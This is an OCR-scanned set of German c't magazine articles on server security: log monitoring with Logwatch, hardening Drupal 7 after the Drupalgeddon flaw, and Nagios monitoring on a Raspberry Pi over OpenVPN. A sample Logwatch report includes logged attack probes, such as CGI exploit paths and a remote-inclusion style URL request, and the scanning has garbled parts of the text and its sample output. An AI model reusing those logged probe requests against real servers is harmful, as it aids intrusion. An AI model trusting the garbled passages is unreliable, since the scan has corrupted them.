heit leisten können, muss der Mainstream- 
Systembenutzer wachsam bleiben. Wenn ich 
einen Wordpress-Wunsch frei hätte, wäre es, 
dass Hoster mehr Service für die Sicherheit 
auch ihrer kleinen Kunden anbieten. Es ist im 
Interesse aller, wenn möglichst wenige Web- 
server in Botnetzen stehen. (ps) 
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Die Handwerker gehen um! 
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Clemens Gleich - 04.12.2014 


Wenig Aufwand, große Wirkung: Verstecken des Wordpress-Admin-Zugangs 


hinter einem Web-Server-Login. 
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Praxis | Sicherer Server: Logs überwachen mit Logwatch 


Ralf Spenneberg 


Alles im Überblick 


Logdateien überwachen mit Logwatch 


Logdateien verbergen wertvolle Informationen über Angriffe und 
sonstige Probleme unter einer Vielzahl belangloser Statusmeldungen. 


Logwatch sorgt für die nötige Übersicht. 


icherheitsbewusste Administratoren wis- 

sen, wie wichtig die Protokolldateien auf 
ihren Systemen sind, um Angriffe und Ein- 
brüche zu erkennen. Leider erzeugen die 
meisten Linux- und Unix-Systeme derartige 
Mengen an Protokolldaten, dass sie sich 
nicht mehr von Hand überwachen und ana- 
Iysieren lassen. Zudem ist es sterbenslang- 
weilig, sich durch Logdateien durchzuwüh- 
len: Dienste protokollieren hier ja nicht nur 
Ausnahmefälle und besondere Ereignisse, 
sondern auch ganz akribisch ihre normalen 
Tätigkeiten. 

Logwatch unterstützt Admins bei der re- 
gelmäßigen Auswertung der System-Logs. 
Das in Perl geschriebene Werkzeug analy- 
siert die Protokolldateien in /var/log und be- 
reitet aus den Daten einen Bericht auf, den 
es standardmäßig einmal am Tag via E-Mail 
verschickt. Auf Systemen, die das moderne 
Init-System Systemd einsetzen [1], muss ein 
Syslog-Daemon wie rsyslogd oder syslog-ng 
installiert werden, damit die Protokollmel- 
dungen nicht nur in das binäre Log von Sys- 
temd geschrieben werden, sondern auch in 
die traditionellen Textdateien in /var/log. 
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Logwatch unterstützt die üblichen Diens- 
te eines Linux-Servers wie Apache-Webser- 
ver, OpenSSH-Server, DHCPd, vsFTPd, Cron 
und so weiter, kann aber auch die Protokol- 
le der Paketverwaltung (dpkg, apt, rpm, 
yum) analysieren. Wenn Switches, Router 
oder Firewalls von Cisco, Extreme Networks 
und Barracuda ihre Meldungen via Syslog 
an ein Linux-System schicken, wertet Log- 
watch auch deren Meldungen aus. 

Für alle erkannten Protokolldateien er- 
zeugt Logwatch einen eigenen Abschnitt in 
dem erzeugen Bericht. Dieser wird bei einem 
Aufruf auf der Kommandozeile mit logwatch 
auch direkt ausgegeben. Bei älteren Versio- 
nen muss die Option --print angegeben wer- 
den, um eine Ausgabe zu erhalten. Auf 
einem Webserver kann dies in etwa so aus- 
sehen wie in dem Kasten rechts. 


Installation 


Logwatch ist Bestandteil aller größeren 
Linux-Distributionen. Üblicherweise ist es 
nach der Installation sofort aktiv und benö- 
tigt keine weitere Konfiguration. Das Tool 
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läuft einmal täglich über einen Cron-Eintrag 

und schickt seinen Bericht an root. Soll die 

Mail an einen anderen Empfänger gehen, 

hängt man einfach die Option --mailto 

USER@example.com an den Logwatch-Aufruf in 

/etc/cron.daily/logwatch an. Mit --format html 

verschickt Logwatch HTML-formatierte 

Mails. 

Der Administrator erhält jetzt jeden Tag 
einen schnellen Überblick, was am Vortag 
auf dem System passiert ist. Dabei konzen- 
triert sich der Bericht auf besondere Vor- 
kommnisse: Welche angefragten Seiten 
konnte der Webserver nicht ausliefern? Wie 
viele E-Mails wurden verschickt? Gab es Be- 
nutzeranmeldungen via SSH? Dazu kom- 
men einige Systeminformationen wie Feh- 
lermeldungen des Kernels und freier Plat- 
tenplatz. 

Logwatch unterscheidet drei Arten von 
Protokollmeldungen: 

- seltene Meldungen, zum Beispiel Apache- 
Fehlermeldungen, werden im Detail ange- 
zeigt; 

- häufige Logdaten wie Anmeldungen wer- 
den lediglich gezählt; 

- unbekannte Meldungen, die logwatch 
nicht versteht („unmatched entries”), wer- 
den unverändert übernommen. 

Wünscht man zu einem Dienst mehr Infor- 

mationen, kann man detaillierte Informatio- 

nen dazu anfordern: 


logwatch --service sshd --detail high --range -3 days 


Der Aufruf analysiert die Protokolleinträge 
des SSH-Daemons der letzten drei Tage. Bei 
hohem Detailgrad listet Logwatch beispiels- 
weise die Benutzernamen auf, mit denen er- 
folglose Anmeldungen versucht wurden. 


Konfiguration 


Logwatch nutzt eine verwirrende Anzahl 
von Skripten und Konfigurationsdateien in 
/usr/share/logwatch. Das Unterverzeichnis 
default.conf enthält die Standardkonfigura- 
tion. Die Hauptkonfigurationsdatei log- 
watch.conf setzt die Defaultwerte für die 
zahlreichen Kommandozeilenoptionen. Das 
Unterverzeichnis services enthält für jeden 
unterstützten Dienst eine spezifische Kon- 
figuration. Einige Konfigurationen verweisen 
dabei auf „Logdatei-Gruppen“, die im Unter- 
verzeichnis logfiles die relevanten Protokoll- 
dateien der Dienste definieren. 

Das Verzeichnis /usr/share/logwatch/dist. 
conf ist für distributionsspezifische Änderun- 
gen der Logwatch-Konfiguration vorgese- 
hen. Einträge hier überschreiben die Vorga- 
ben in default.conf. 

Die Datei services/httpd.conf beispiels- 
weise enthält die folgenden Angaben: 


Title = "httpd" 

LogFile = http 
$HTTP_IGNORE_ERROR_HACKS = 0 
SHTTP_USER_DISPLAY = 0 


Die Angabe Logfile = http verweist auf die 
Datei logfiles/http.conf, die die Apache-Log- 
dateien aufführt: 
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Logwatch for os-t.spenneberg.net (Linux) -IMAP-Kon... - 0 x 
Datei Bearbeiten Ansicht Nachricht Einstellungen Hilfe 


Drucken | (g] Antworten v |g) Weiterleiten v » 


Von: 


root@www,spenneberg.net 
An: ralf@os-t.de 
Datum: Heute 15:50:04 


Logwatch for os-t.spenneberg.net (Linux) | 


LOGWATCH Summary 
httpd 

Postfix 

seaudit-report 

SSHD 

Disk Space 


Logwalch Version: 7.4.0 0502712) 
Processing Intited; Thu Dec 18 13:50:04 2014 
Date Range Processed: yeserlay 


(2014-Dec-17 ) 
Period b.day 

Detail Levelof Oulput: 0 

Type of Oufput/Format: mail/ html 


Logfiks for Host: os-1.penneberg.net 


Back to Top 


Das HTML-Format macht die Logwatch- 
Berichte übersichtlicher. 


LogFile = httpd/*access_log 
LogFile = apache/*access.log.1 


Die eigentliche Arbeit leisten die Logwatch- 
Skripte im Verzeichnis /usr/share/logwatch/ 
scripts. Die Datei logwatch.pl ist das Haupt- 
Skript, für die einzelnen Dienste sind 


Nginx im Blick 


Standardmäßig überwacht Logwatch 
lediglich den Apache-Webserver, nicht 
aber Nginx. Möchte man Logwatch um 
Nginx erweitern, muss man zunächst die 
Datei http.conf aus /usr/share/logwatch/ 
default.conf/logfiles/ nach /etc/logwatch/ 
conf/logfiles/nginx.conf kopieren und 
die Einträge Logfile und Archive an die Na- 
men den Nginx-Logdateien anpassen: 


LogFile = nginx/*access.log 
Archive = nginx/*access.log.*.gz 


Kopieren Sie anschließend die Datei 
/usr/share/logwatch/default.conf/ 
services/httpd.conf nach /etc/logwatch/ 
conf/services/nginx.conf und passen Sie 
den Beginn folgendermaßen an: 


Title = !'nginx:" 
LogFile = nginx 


Schließlich muss noch das eigentliche 
Analyse-Skript /usr/share/logwatch/ 
scripts/services/http nach /usr/share/ 
logwatch/scripts/services/nginx kopiert 
werden. Anpassungen sind nicht nötig, 
da die regulären Ausdrücke für Apache- 
Logs auch auf Nginx passen. 
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spezielle Skripte in scripts/services 
zuständig. 

In den Konfigurationsdateien las- 
sen sich zusätzliche Filter angeben, 
die mit einem Stern beginnen und 
auf Skripte in /usr/share/logwatch/ 


HEHHHHRHHHHHHHH Logwatch 7.4.0 (05/02/12) HEHHHHHHHHH 
Processing Initiated: Thu Dec 18 12:39:55 2014 
Date Range Processed: yesterday ( 2014-Dec-17 ) 
Type of Qutput/Format: stdout / text 
Logfiles for Host: os-t.spenneberg.net 
HEHE 


scripts/shared verweisen. Der Filter 


*ExpandRepeats beispielsweise . le 
sorgt dafür, dass das Skript scripts/ 177. 
shared/expandrepeats alle Zeilen 180. 
„last message repeated ... times” an 
aussortiert. 400 B 
Für lokale Anpassungen ist /etc/ I: 
logwatch vorgesehen. Hier kann 
man eine eigene logwatch.conf an- / 
legen, die die Einstellungen in 404 
/usr/share/logwatch/ überschreibt. ' 
Damit Logwatch zum Beispiel 408 
immer die letzten sieben Tage statt " 


des Vortags analysiert, genügt der 
Eintrag 


Range = -7 days 


in der Datei /etc/logwatch/conf/ 
logwatch.conf. 

Falls Logwatch die Protokoll- 
dateien nicht automatisch findet, 
muss man die entsprechenden 
Konfigurationsdateien anpassen. 
Schreibt beispielsweise der Cisco- 


Switch seine Meldungen nach 
/var/log/switch.log auf dem Linux- 3 
System, muss man die Datei /usr/ 4 


share/logwatch/default.conf/log- 
files/cisco.conf nach /etc/logwatch/ 
conf/logfiles kopieren und die zu 


analysierenden Protokolldateien nn 
anpassen: 122 
12 
Logfile = cisco.log 
Receive 


Logfile = switch.log in: 
Logfile = routers/router*.log 1: 
le 


Auch Skripte kann man modifiziert 
in /etc/logwatch/scripts/ ablegen. 
Sie kommen dann statt der Stan- 
dard-Skripte zum Einsatz. Der Kas- 
ten links zeigt am Beispiel von Nginx, wie 
man einen neuen Dienst in Logwatch ein- 
bindet. 


Auswertung 


Logwatch erleichtert die Überwachung von 
Linux-Systemen erheblich, indem das Tool 
viele Tausende Zeilen Logfiles zu regelmäßi- 
gen Berichten mit den wichtigsten Meldun- 
gen zusammenfasst. So lässt sich auf einen 
Blick erkennen, ob es ungewöhnlich viele 
Anmeldeversuche gab, Zugriffe auf nicht- 
existierende Dateien auf dem Webserver er- 
folgten, Relay-Versuche auf dem Mailserver 
unternommen wurden oder der Speicher- 
platz vollläuft. Für eine überschaubare Zahl 
von Servern ist diese Form der Überwachung 
einfach zu realisieren und ohne großen Zeit- 
aufwand zu nutzen. 

Bei der Interpretation der Berichte muss 
man vor allem auf Abweichungen gegenüber 
dem Normalzustand achten. So ist eine hohe 
Anzahl an erfolglosen Zugriffen für einen Ser- 
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.225.109.204: 
SRH UI Un 


: Bye Bye [preauth]l : 


httpd Begin 
of 2 sites probed the server 
Y0.x.y 

170.x.y 

El 


s with error response codes 
ad Request 

2 Time(s) 
tmUnblock.cgi: 2 Time(s) 

Forbidden 
?url=http://www.advgroup.es/pages/: 
Not Found 

egi-bin/: 1 Time(s) 
cgi-sys/entropysearch.cgi: 
Request Timeout 

ull: 7 Time(s) 


1 Time(s) 


1 Time(s) 


httpd End 


Postfix Begin 
Bytes accepted 
Bytes sent via SMTP 99,440 


Accepted 


Rejected 2.04% 


Connections 
6 Connections lost (inbound) 
Disconnections 

8 Removed from queue 

8  Sent via SMTP 
Postfix End 


users fron: 
f: 239 times 


1 time 
1 time 


d disconnect: 
[preauth] : 3 Time(s) 
27 Time(s) 


1395 Time(s) 


disconnected by user : 
SSHD End 


Logwatch fasst die für den Admin 
relevanten Vorkommnisse auf dem Server 
zusammen. 


ver im Internet nicht verdächtig - es gibt rund 
um die Uhr Brute-Force Angriffe auf SSH-Ser- 
ver. Erfolgreiche Anmeldungen zu Zeiten, an 
denen Sie nicht angemeldet waren, oder von 
ungewöhnlichen IP-Adressen sollten hinge- 
gen Misstrauen erwecken. 

Die Bewertung der Logdaten kann Log- 
watch dem Admin nicht abnehmen, aber 
das Programm hilft, der schier unübersehba- 
ren Menge an Protokollmeldungen Herr zu 
werden. Das macht es einfacher, die wesent- 
lichen Hinweise auf einen Angriff oder sons- 
tige sicherheitsrelevante Ereignisse zu er- 
kennen. (odi) 


Literatur 


[1] Thorsten Leemhuis, Sammelstelle, Log-Infor- 
mationen beim Journal von Systemd abrufen, 
c't 13/14, 5.168 dt 
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Praxis | Sicherer Server: Drupal 7 schützen 


Karsten Violka 


Härten und sichern 


Das freie CMS Drupal 7 schützen 


Mit dem freien Content Management Framework Drupal baut man 
komplexe Websites mit wenig Programmieraufwand. Aber ohne Wartung 
wird das System leicht zur Spielwiese für Einbrecher. 


m 15. Oktober 2014 kam das „Drupal- 

geddon“ über die Community: eine dra- 
matische Sicherheitslücke in der Datenbank- 
Schnittstelle des Drupal-Kerns. Die Angriffs- 
welle folgte binnen Stunden. Zwei Wochen 
später veröffentlichte das Drupal-Security- 
Team eine weitere Warnung: Wer den Patch 
nicht innerhalb von sieben Stunden nach der 
Veröffentlichung eingespielt habe, müsse 
davon ausgehen, dass seine Website gehackt 
sei. Das Beispiel zeigt: Das Zeitfenster, in dem 
Administratoren auf neue Bedrohungen rea- 
gieren müssen, wird immer kleiner. 

Dabei ist Drupal in Sachen Sicherheit noch 
besser aufgestellt als viele andere Projekte: 
Der Core und nahezu alle Erweiterungsmodu- 
le werden ausschließlich auf drupal.org veröf- 
fentlicht und sind in die Update-Mechanis- 
men des CMS eingebunden. Es gibt kaum 
kommerzielle Module, die nicht von der Dru- 
pal-Community gepflegt werden. Das Securi- 
ty-Team nimmt Meldungen neuer Lücken 
entgegen, sorgt dafür, dass sie geschlossen 
werden, und koordiniert die Veröffentlichung 
der Updates. Die gibt es bis drei Monate nach 
Veröffentlichung des übernächsten Major Re- 
lease - Drupal-6-Anwender müssen also nach 
der Veröffentlichung von Drupal 8 updaten, 
was noch dieses Jahr passieren dürfte. 


& Security review | Site x 


< © 


Y zfp.local 


Security review ® 


Startseite » Verwaltung » Berichte 


© Review complete 


> AUSFÜHREN 


Review results from last run Mi, 12/24/2014 - 10:14 


Here you can review the results from the last run of the checklist. Checks are not always perfectiy correct in their procedure and result. 
You can keep a check from running by clicking the "Skip' link beside it. You can run the checklist again by expanding the fieldset above 


Untrusted roles do not have administrative or trusted Drupal permissions. 


© Base URL is not set in settings.php. 
[x} Errors are written to the screen. 
PHP files in the Drupal files directory cannot be executed. 


Dangerous tags were not found in any submitted content (fields). 


Drupal installation files and directories (except required) are not writable by the server. 


Untrusted users are not allowed to input dangerous HTML tags. 


Sicher aufsetzen 


Zum Testen der Sicherheit von Drupal-Instal- 
lationen gibt es ein nützliches Werkzeug: Das 
Modul „Security Review“ überprüft auf 
Knopfdruck eine Reihe typischer Fehlkon- 
figurationen. Zentral ist, dass der Benutzer, 
unter dem der Webserver läuft (meist 
www-data oder apache), auf die PHP-Skripte 
nur lesenden Zugriff hat. Schreibzugriff ist le- 
diglich für den Ordner /sites/default/files er- 
forderlich, der die hochgeladenen Dateien 
aufnimmt. Auch bei Managed Webspace ver- 
gewissert man sich besser, dass der Hoster 
für eine korrekte Konfiguration gesorgt hat. 
Wer nur wenig Erfahrung mit Apache hat, 
sollte darauf verzichten, mehrere Sites als 
„Virtual Hosts” auf einem Server zu betrei- 
ben: In den meisten Distributionen ist der 
Webserver so konfiguriert, dass es reicht, 
eine der Sites zu kompromittieren, um le- 
send auf die Verzeichnisse der anderen Sites 
zuzugreifen und beispielsweise Datenbank- 
passwörter aus settings.php auszulesen. 
Mehrere PHP-Sites auf einem Webserver las- 
sen sich mit PHP-FPM abschotten. 
Drupal-Neulinge sollten sich mit den etab- 
lierten Best Practices sowie Drupals Modul- 
Universum auseinandersetzen. PHP-Entwick- 


SSR OD FÜRGE 


zhu-zfp DEV - master 


Details Überspringen 
Details Überspringen 
Details Überspringen 
Details Überspringen 
Details Überspringen 
Details Überspringen 
Details Überspringen 


Das Modul „Security Review” prüft auf typische Fehlkonfigurationen. 
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ler, die in Drupal einsteigen, nehmen oft ris- 
kante Abkürzungen mit selbst geschriebenem 
Code. Hier gilt das Drupal-Mantra „Never hack 
the core”: Änderungen am Kernsystem sind 
tabu - besser, man implementiert einen Hook 
in einem eigenen Modul. Drupal trennt The- 
mes von der Modul-Logik: Komplizierte Erwei- 
terungen haben in den Theme-Ordnern 
nichts zu suchen. Die Drupal-Dokumentation 
erklärt, wie man typische Fehler in eigenem 
PHP-Code vermeidet (siehe c't-Link). 

Leider kann man in Drupal 6 und 7 PHP- 
Code in der Datenbank hinterlegen. Es gibt 
sogar einen Eingabefilter, mit dem man PHP- 
Code innerhalb von Artikeln ausführen kann. 
Von dieser Praxis raten die Entwickler aller- 
dings dringend ab; Drupal 8 wird das Modul 
„Php“ nicht mehr mitbringen. 


Updates und Backups 


Das zum Drupal-Core gehörende Modul „Up- 
date” benachrichtigt den Administrator per 
Mail, sobald Updates für den Core oder ein 
verwendetes Modul bereitstehen. Unter der 
URL /admin/reports/updates/settings legt 
man fest, dass Drupal täglich nach neuen Si- 
cherheitsupdates sucht. /admin/reports/up- 
dates zeigt die aktuelle Liste. Um Administra- 
toren die Planung zu erleichtern, hat Drupal 
einen „Patchday” eingeführt: Sicherheits-Up- 
dates für den Core werden am dritten Mitt- 
woch des Monats veröffentlicht, für Module 
ist jeder Mittwoch Stichtag. Wie Drupal- 
geddon gezeigt hat, genügt aber selbst eine 
tägliche Prüfung auf Updates nicht immer. 
Administratoren sollten daher zusätzlich den 
Twitter-Stream oder die Mailing-Listen des 
Drupal-Security-Teams verfolgen. 

In einem sicher konfigurierten Drupal-Sys- 
tem kann man Updates nicht einfach per 
Mausklick einspielen, da sich PHP-Dateien 
nicht aus Drupal heraus überschreiben las- 
sen. Auf der Kommandozeile hilft Drupals 
Universalwerkzeug drush: Der Befehl drush up 
bringt Core und Module auf den aktuellen 
Stand. Vor jedem Update sollte man zu- 
nächst eine Kopie der Datenbank anlegen. 
Nachdem die Code-Dateien aktualisiert sind, 
frischt update.php die Datenbank auf. 

Viele Drupalgeddon-Betroffene mussten 
ihre Site letztlich aus einem Backup neu auf- 
setzen, um sicherzugehen, dass ihre Systeme 
nicht kompromittiert sind. Das Modul „Back- 
up and Migrate” sichert die Datenbank, den 
aktuellen PHP-Code und die hochgeladenen 
Dateien in ein vollständiges Archiv der Site - 
auch automatisch. 

Backups, die auf dem Webserver selbst lie- 
gen, kann ein Eindringling allerdings ebenfalls 
manipulieren. Wer ganz sicher gehen will, 
überträgt die Site daher unter einem anderen 
Benutzerkonto auf ein externes Backup-Sys- 
tem, etwa via rsync oder scp. Auf der Kom- 
mandozeile erstellt drush archive ein vollständi- 
ges Archiv der Drupal-Site inklusive aller Da- 
teien und einem Datenbank-Dump. (odi) 


EE Werkzeuge und Tipps für den sicheren 
Drupal-Betrieb: ct.de/yptu 
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Mirko Dölle 


Weitblicker 


Angriffserkennung durch Server-Überwachung 


mit Raspberry Pi 


Wird die Homepage eines Kleingartenvereins über Nacht zum Magnet für 
Besucher aus aller Herren Länder, kann das an den Blumenfotos liegen. 
Möglicherweise bietet aber auch jemand illegal Hollywood-Filme zum Down- 
load an. Mit einem Raspberry Pi zur Server-Überwachung und einem praktischen 
Browser-Plug-in erkennen Sie ungewöhnliche Vorgänge frühzeitig. 


-] aben sich Angreifer auf einer Website 
oder in einem Forum eingenistet, span- 
nen sie sie für ihre eigenen Zwecke ein - 
etwa zur Bereitstellung von Tauschmaterial 
wie Hollywood-Filmen oder illegalen Bildern 
und Multimedia-Dateien. Als Hobby-Admin, 
der vorwiegend bei Problemen tätig wird, er- 
kennt man einen solchen Missbrauch mitun- 
ter erst, wenn der Hoster aufgrund des aus- 
ufernden Traffics den Stecker gezogen hat. 

Server-Monitoring kann Ihnen dabei hel- 
fen, frühzeitig Indizien zu erkennen, die auf 
einen Missbrauch hindeuten: Etwa wenn das 
Kleingarten-Forum plötzlich mehr Besucher 
aus Amerika oder China anlockt als aus 
Deutschland, die Seitenabrufe insgesamt 
sprunghaft ansteigen, sich große Datenmen- 
gen auf der Festplatte sammeln oder die In- 
ternetverbindung oder die CPU ständig aus- 
gelastet sind. So etwas muss nicht zwangs- 
läufig durch einen Einbruch oder Missbrauch 
des Servers verursacht werden - ein Admin 
sollte solche Vorfälle aber schnell bemerken 
und die Ursache umgehend abklären. 

Das Herz der Server-Überwachung ist das 
Monitoring-System Nagios, das unabhängig 
auf einem eigenen Rechner läuft und regel- 
mäßig verschiedene Betriebs- und Leistungs- 
daten der zu überwachenden Server abruft. 
Werden vordefinierte Schwellwerte über- 
schritten, informiert Nagios den Admin über 
die Vorfälle. Aufgrund des niedrigen Strom- 
verbrauchs und der geringen Anschaffungs- 
kosten von unter 50 Euro haben wir uns für 
einen Raspberry Pi als Überwachungsrech- 
ner entschieden. Zudem sorgt ein Browser- 
Plug-in dafür, dass Sie den Status Ihrer Server 
im Blick haben. Es gibt auch etliche Apps, um 
unterwegs auf dem Laufenden zu bleiben, 
und Sie können das System so einrichten, 
dass es per E-Mail oder SMS warnt (siehe c't- 
Link am Ende des Artikels). 


Aufgesetzt 


Die Installation beginnt damit, dass Sie das 
Zip-Archiv des Raspbian von raspberrypi.org 
herunterladen und auspacken. Anschließend 
übertragen Sie das entpackte Image mit dd 
unter Linux und Mac OS X oder Win32 Disk 
Imager unter Windows auf eine mindestens 
8 GByte große SD- oder Micro-SD-Karte. 
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Beim ersten Start von Raspbian auf dem 
Raspberry Pi endet der Bootvorgang auto- 
matisch beim englischsprachigen Konfigura- 
tionsprogramm raspi-config. Hier sollten Sie 
in jedem Fall mittels „Expand Filesystem” 
den übrig gebliebenen Platz der Speicher- 
karte nutzbar machen und das Passwort des 
Standardbenutzers pi ändern. Sie sollten 
zudem im Menu „Advanced Options“ „SSH“ 
aktivieren und dem Mini-Rechner einen 
neuen Host-Namen geben, über den Sie ihn 
dann aus dem lokalen Netz erreichen kön- 
nen. Wir haben unseren Mini-Rechner „nagi- 
pi” genannt. Haben Sie alle Einstellungen 
vorgenommen, beenden Sie raspi-config. 

Nach einem Neustart können Sie unmit- 
telbar mit der Einrichtung des Monitoring- 
Systems beginnen. Dazu loggen Sie sich auf 
dem Raspberry Pi ein, aktualisieren die Pa- 
ketliste und installieren Nagios: 


sudo apt-get update 
sudo apt-get -y install nagios3 


Die Abhängigkeiten von Nagios umfassen 
auch einen Apache-Webserver, den Sie für 
das Nagios-Web-Frontend benötigen. So- 
bald die Paketverwaltung die Installation ab- 
geschlossen hat, können Sie das Web-Front- 
end über die URL http://nagipi/nagios3 in 
einem Browser aufrufen. Geben Sie als Be- 
nutzername „nagiosadmin“ und als Passwort 
das bei der Nagios-Installation von Ihnen 
festgelegte ein, sobald Sie dazu aufgefordert 
werden. In der Standardkonfiguration über- 
wacht Nagios bereits automatisch ein halbes 
Dutzend Parameter Ihres Raspi, etwa die 
CPU-Last und den Festplattenfüllstand, und 
meldet auch hier Auffälligkeiten. 

Um Nagios auch ohne das Web-Frontend 
im Auge zu behalten, empfehlen wir das Fi- 
refox-Plug-in Nagios Checker. Das können 
Sie in der Statusleiste des Firefox einblenden, 
wo es im Normalbetrieb einen kleinen grü- 
nen Balken mit „Kein Problem” anzeigt. Kli- 
cken Sie mit der rechten Maustaste auf den 
Balken, gelangen Sie direkt zum Nagios- 
Webfrontend. Gibt es hingegen eine War- 
nung oder einen kritischen Zustand, so zeigt 
der Nagios Checker gelbe oder rote Balken 
an und verrät Ihnen auch gleich, welches 
Problem vorliegt, sobald Sie mit der Maus 
über den Balken fahren. 
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Die Einrichtung ist einfach, Sie müssen le- 
diglich in den Einstellungen des Nagios Che- 
ckers die URL Ihres Nagios-Frontends eintra- 
gen, etwa http://nagipi/nagios3/. Außerdem 
benötigt das Plug-in die URL des Status- 
Skripts, diese lautet http://nagipi/nagios3/ 
cgi-bin/status.cgi. Als Benutzer verwenden 
Sie wieder nagiosadmin, das Passwort haben 
Sie bei der Nagios-Einrichtung vergeben. 

Wollen Sie den Nagios Checker auch un- 
terwegs benutzen, etwa auf Ihrem Note- 
book, müssen Sie in Ihrem DSL-Router eine 
Port-Freigabe einrichten und dafür sorgen, 
dass der Router über eine dynamische Host- 
Adresse auch nach der täglichen Zwangs- 
trennung auffindbar ist. Damit niemand die 
Zugangsdaten beim Login mitlesen kann, 
sollten Sie unterwegs verschlüsselt auf Na- 
gios zugreifen und für die Weiterleitung 
einen anderen Port als 443 verwenden - das 
reduziert die Zahl von Zufallsbesuchern. 

Standardmäßig gibt es bereits eine fertige 
Apache-Konfigurationsdatei für SSL auf dem 
Raspi, die Sie nur noch zusammen mit SSL als 
Root aktivieren und dann Apache neu star- 
ten müssen: 


a2enmod ssl 
a2ensite default-ssl 
service apache2 restart 


Anschließend können Sie das Nagios-Front- 
end über die URL https://nagipi/nagios3 ver- 
schlüsselt erreichen - und nach Einrichtung 
der Port-Weiterleitung in Ihrem DSL-Router 
auch von außen nutzen. 


Eingebunden 


Damit Nagios auch Ihre Server überwacht, 
legen Sie als Root eine neue Konfigurations- 
datei server.cfg im Verzeichnis /etc/nagios3/ 
conf.d an. Nagios unterscheidet zwischen 
dem zu überwachenden Server (host) und 
dem konkreten Dienst (service) wie dem 
HTTP-Server oder SSH, der darauf läuft. Dies 
spiegelt sich auch in der Konfigurationsdatei 
wider, in der es dafür zwei verschiedene Kon- 
figurationsblöcke gibt: 


define host { 
use generic-host 
host_name MeinServer 
address example.com 
} 
define service { 
use generic-service 
host_name MeinServer 
service_description HTTP-Server 
check_command check_http_string!yet 


} 


Haben Sie einmal einen Host definiert, refe- 
renzieren Sie ihn in allen weiteren Konfigura- 
tionsblöcken nur noch über den frei wählba- 
ren Hostnamen. Die Server-Adresse ist ent- 
weder die IP-Adresse oder der Hostname des 
Servers, diese müssen Sie selbstverständlich 
anpassen. Wie Nagios einen Dienst über- 
prüft, legen Sie im Service-Konfigurations- 
block mit check_command fest. Hinter check_ 
http_string verbirgt sich eine Kommandodefini- 
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tion, die den eigentlichen Aufruf des Nagios- 
Plug-ins, ein ausführbares Programm oder 
Skript, enthält: 


define command { 
command_name check_http_string 
command_line /usr/lib/nagios/plugins/7 
check_http -H $HOSTADDRESS$ -s "SARG1$" 
} 


Solche Kommandodefinitionen können Sie 
ebenfalls in der Datei server.cfg speichern. 
Das Beispiel zeigt, wie Sie Parameter an das 
Nagios-Plug-in check_http übergeben: Hin- 
ter dem Makro $HOSTADDRESS$ verbirgt 
sich die Adresse des überwachten Servers 
und hinter $ARG1$ der erste Parameter, im 
Beispiel die Zeichenkette „yet“. Das Ausru- 
fungszeichen in der Service-Definition dient 
als Trennzeichen zwischen Kommandoname 
und den einzelnen Parametern. Bevor Sie ei- 
gene Befehle definieren, sollten Sie im Ver- 
zeichnis /etc/nagios-plugins/config nachse- 
hen, ob es nicht eine Standard-Konfigura- 
tion für den Befehl gibt. Dazu suchen Sie in 
dem Verzeichnis mit grep nach dem Namen 
des Nagios-Plug-ins. Die Konfigurationsdatei 
unseres Testsystems können Sie zudem über 
den c’t-Link am Ende des Artikels herunter- 
laden. 


Fernabfrage per NRPE 


Mit der bisher beschriebenen Konfiguration 
können Sie bereits herausfinden, ob Ihr Server 
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noch per Ping, SSH und Browser erreichbar ist 
und ob Apache vollständige Seiten ausliefert. 
Daten wie die Prozessor- (check_load) und 
Festplattenauslastung (check_disk) oder der 
Traffic lassen sich aber nur auf dem Server 
selbst ermitteln. Bei Nagios ist NRPE-Plug-in 
für solche Fernabfragen zuständig, das Sie im 
Paket nagios-nrpe-plugin finden und auf dem 
Raspberry Pi nachinstallieren müssen. Es ver- 
bindet sich standardmäßig über Port 5666 mit 
einem NRPE-Daemon, den Sie auf Ihrem 
Server installieren, und führt darüber die ge- 
wünschten Nagios-Plug-ins wie check_load 
oder check_disk auf dem Server aus. Damit 
nicht jeder über den NRPE-Daemon Abfragen 
durchführen kann, lässt sich der Dienst auf be- 
stimmte IP-Adressen beschränken. Die haus- 
haltsüblichen DSL-Anschlüsse haben jedoch 
keine feste IP-Adresse. Die Lösung ist die Ein- 
richtung eines VPN zwischen dem Raspberry 
Pi und Ihrem Server, wobei Sie beiden eine 
feste (private) IP-Adresse zuweisen. 

Die Installation von OpenVPN beginnen 
Sie am besten auf dem Raspi. Haben Sie 
OpenVPN über die Paketverwaltung nach- 
installiert, erzeugen Sie den gemeinsamen 
Key für die verschlüsselte Verbindung: 


openvpn --genkey --secret /etc/openvpn/vpn.key 


Die Konfigurationsdatei /etc/openvpn/server. 
conf besteht nur aus wenigen Zeilen. Sie ent- 
hält unter anderem den Dateinamen des 
Schlüssels und die privaten IP-Adressen des 
Raspi und Ihres Servers: 


‚Ss n cz @ | 


+6 


Ad 27m 3%: 
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dev tun 

ifconfig 192.168.253.1 192.168.253.2 
secret vpn.key 

keepalive 10 120 


Nun müssen Sie OpenVPN neu starten. An- 
schließend wartet der Raspi auf dem Port 
1194 auf eingehende Verbindungen. Damit 
Ihr Server den Raspi erreichen kann, müssen 
Sie eine zweite Port-Weiterleitung in Ihrem 
DSL-Router einrichten, der UDP-Anfragen auf 
Port 1194 an Ihren Raspi weiterleitet. 

Auf Ihrem Server installieren Sie zunächst 
ebenfalls OpenVPN, kopieren dann die Datei 
vpn.key von Ihrem Raspi in das Verzeichnis 
/etc/openvpn und legen die Datei /etc/ 
openvpn/client.conf mit folgendem Inhalt an: 


remote example.com 

dev tun 

ifconfig 192.168.253.2 192.168.253.1 
secret vpn.key 

keepalive 10 120 


Den Host-Namen example.com müssen Sie 
durch den dynamische Host-Namen Ihres 
DSL-Routers ersetzen. Anschließend starten 
Sie OpenVPN neu. 

Im Syslog /var/log/syslog Ihres Raspi kön- 
nen Sie nun mitverfolgen, wie der Server die 
VPN-Verbindung aufbaut. Anschließend soll- 
te vom Raspberry Pi aus ping 192.168.253.2 die 
Latenz zum Server anzeigen. Die Konfigura- 
tion mit dem Raspi als OpenVPN-Server hat 
den Vorteil, dass Sie auf Ihrem Server keinen 


Das Firefox-Plug-in Nagios Checker zeigt 
den Status und den Grund für etwaige 
Warnungen komfortabel in der Status- 
leiste des Browsers an. So haben Sie 
Nagios immer im Blick, ohne das Web- 
Frontend aufrufen zu müssen. 
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<?xml version="1.0" encoding="UTF-8"?> 
<result> 
<row> 
<visits>d</visits> 
<actions>20</actions> 
<visitors>d</visitors> 
<visitsConverted>0</visitsconverted> 
</row> 
</result> 


Die Piwik-Statistik im XML-Format lässt 
sich gut in Skripten verarbeiten. 


